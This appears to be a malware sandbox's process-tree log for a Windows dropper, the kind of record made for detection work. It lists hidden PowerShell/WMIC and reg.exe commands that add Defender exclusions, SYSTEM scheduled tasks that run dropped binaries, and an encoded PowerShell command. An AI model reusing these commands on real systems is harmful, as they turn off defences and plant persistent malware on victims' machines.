C:\Users\Admin\Pictures\QtUUngaStcIZoM7v0cC6tLZY.exe"C:\Users\Admin\Pictures\QtUUngaStcIZoM7v0cC6tLZY.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS32B4.tmp\Install.exe.\Install.exe /sQwdidHh "385118" /S4⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"5⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True8⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 22:30:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\eIclyav.exe\" em /kYsite_idpix 385118 /S" /V1 /F5⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\G7hmDopetpLbfVrLne3Qrsqu.exe"C:\Users\Admin\Pictures\G7hmDopetpLbfVrLne3Qrsqu.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe4⤵
- Executes dropped EXE
-
C:\Windows\system32\msiexec.exe"msiexec.exe" /qn /i VirtualBox-6.1.20-r143896.msi ADDLOCAL=VBoxApplication,VBoxPython VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 /log "C:\Users\Admin\AppData\Local\Temp\charityengine-install-vbox-log.txt"5⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce_7.14.2_windows_x86_64.exe"ce_7.14.2_windows_x86_64.exe" /S /v"/qn ACCTMGR_LOGIN=anonymous ACCTMGR_PASSWORDHASH=S16-01 /norestart /log C:\Users\Admin\AppData\Local\Temp\charityengine-install-ce-log.txt"5⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2196 -s 6722⤵
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240418222847.log C:\Windows\Logs\CBS\CbsPersist_20240418222847.cab1⤵
- Drops file in Windows directory
-
C:\Windows\system32\taskeng.exetaskeng.exe {7CC94295-3ECA-4F63-89E2-ECE46BB78532} S-1-5-18:NT AUTHORITY\System:Service:1⤵
-
C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\eIclyav.exeC:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\eIclyav.exe em /kYsite_idpix 385118 /S2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gumYGyCsP" /SC once /ST 18:02:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gumYGyCsP"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gumYGyCsP"3⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ofqvFcNvzeRditbz" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ofqvFcNvzeRditbz" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ofqvFcNvzeRditbz" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ofqvFcNvzeRditbz" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ofqvFcNvzeRditbz" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ofqvFcNvzeRditbz" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ofqvFcNvzeRditbz" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ofqvFcNvzeRditbz" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\cmd.execmd /C copy nul "C:\Windows\Temp\ofqvFcNvzeRditbz\GEulPGAJ\OMISXobrGwybBEEY.wsf"3⤵
-
C:\Windows\SysWOW64\wscript.exewscript "C:\Windows\Temp\ofqvFcNvzeRditbz\GEulPGAJ\OMISXobrGwybBEEY.wsf"3⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\wGkeBUkfAIhWvVVB" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\wGkeBUkfAIhWvVVB" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ofqvFcNvzeRditbz" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ofqvFcNvzeRditbz" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\wGkeBUkfAIhWvVVB" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\wGkeBUkfAIhWvVVB" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ofqvFcNvzeRditbz" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ofqvFcNvzeRditbz" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "BAnwxolbGpCzXNxkj" /SC once /ST 07:32:07 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\wyOxbcC.exe\" XT /YSsite_idNUT 385118 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "BAnwxolbGpCzXNxkj"3⤵
-
C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\wyOxbcC.exeC:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\wyOxbcC.exe XT /YSsite_idNUT 385118 /S2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bWycNackLSywaqkmgR"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &3⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True7⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True6⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ByWuwrOBU\jDkXDR.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qbSDwEgyNYPZlGA" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "qbSDwEgyNYPZlGA2" /F /xml "C:\Program Files (x86)\ByWuwrOBU\ybLjHUl.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "qbSDwEgyNYPZlGA"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "qbSDwEgyNYPZlGA"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "yJQYurcljWrTFb" /F /xml "C:\Program Files (x86)\RVqmAwyyxwiU2\HKKskKx.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "MrNSpwukvDtlP2" /F /xml "C:\ProgramData\wGkeBUkfAIhWvVVB\DwRdMKH.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "qnWLzqfHNJaEQUiUn2" /F /xml "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\tgGClxl.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "FBXQMyjqJGqSqkHthaW2" /F /xml "C:\Program Files (x86)\DUGaRsFaSnqjC\UimoPzC.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "QhciBzJOokLnyYZub" /SC once /ST 21:24:13 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ofqvFcNvzeRditbz\LPKpLWEu\xePkSvs.dll\",#1 /zJsite_idGoz 385118" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "QhciBzJOokLnyYZub"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "BAnwxolbGpCzXNxkj"3⤵
-
C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\LPKpLWEu\xePkSvs.dll",#1 /zJsite_idGoz 3851182⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\LPKpLWEu\xePkSvs.dll",#1 /zJsite_idGoz 3851183⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "QhciBzJOokLnyYZub"4⤵
-
C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\sCLSBctEBYVgufH\LaaVLNZ.exeC:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\sCLSBctEBYVgufH\LaaVLNZ.exe XT /SIsite_idTIg 385118 /S2⤵
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bWycNackLSywaqkmgR"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &3⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True7⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True6⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ByWuwrOBU\TUtaqa.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qbSDwEgyNYPZlGA" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "qbSDwEgyNYPZlGA2" /F /xml "C:\Program Files (x86)\ByWuwrOBU\onKRUPF.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "qbSDwEgyNYPZlGA"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "qbSDwEgyNYPZlGA"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "yJQYurcljWrTFb" /F /xml "C:\Program Files (x86)\RVqmAwyyxwiU2\dBBpCNE.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "MrNSpwukvDtlP2" /F /xml "C:\ProgramData\wGkeBUkfAIhWvVVB\KVywPIe.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "qnWLzqfHNJaEQUiUn2" /F /xml "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\xbIykrP.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "FBXQMyjqJGqSqkHthaW2" /F /xml "C:\Program Files (x86)\DUGaRsFaSnqjC\FMFiqIA.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
